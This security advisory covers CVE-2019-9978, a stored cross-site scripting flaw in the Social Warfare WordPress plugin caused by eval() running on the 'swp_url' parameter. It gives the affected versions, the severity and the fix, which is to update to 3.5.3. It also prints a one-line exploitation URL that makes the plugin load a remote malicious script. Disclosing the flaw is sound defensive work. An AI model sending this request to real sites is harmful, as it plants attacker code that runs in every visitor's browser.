Stored XSS in Social Warfare WordPress plugin

Published: 2019-03-21 23:01:25 | Updated: 2019-03-25
Severity High
Patch available YES
Number of vulnerabilities 1
CVE ID CVE-2019-9978
CVSSv3 6.9 [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N/E:H/RL:O/RC:C]
CWE ID CWE-79
Exploitation vector Network
Public exploit This vulnerability is being exploited in the wild.
Vulnerable software WordPress Social Sharing Plugin – Social Warfare
Vulnerable software versions WordPress Social Sharing Plugin – Social Warfare 3.5.2
WordPress Social Sharing Plugin – Social Warfare 3.5.1
Vendor URL Warfare Plugins

Security Advisory

UPDATED: 22.03.2019
Vulnerability name and description were updated according to analysis. Risk level was lowered from Critical to High.

UPDATED: 25.03.2019
Assigned CVE-ID.

1) Cross-site scripting

Description

The vulnerability allows a remote attacker to perform cross-site scripting attacks.

The vulnerability exists due to usage of the eval() JavaScript call on data passed via the  "swp_url" HTTP GET parameter to "/wp-admin/admin-post.php" script, when "swp_debug" is set to "load_options", allowing to permanently inject and execute arbitrary JavaScript code on the website. A remote unauthenticated attacker can store a specially crafted JavaScript code into database and execute it in browser of every website visitor.

Note: this vulnerability is being actively exploited in the wild.

Exploitation example:

http://[host]/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://[malicious_js_script]/

Remediation

Update to version 3.5.3.

External links

https://wordpress.org/support/topic/malware-into-new-update/
https://www.wordfence.com/blog/2019/03/unpatched-zero-day-vulnerability-in-social-warfare-plugin-exp...
https://twitter.com/warfareplugins/status/1108826025188909057
https://blog.sucuri.net/2019/03/zero-day-stored-xss-in-social-warfare.html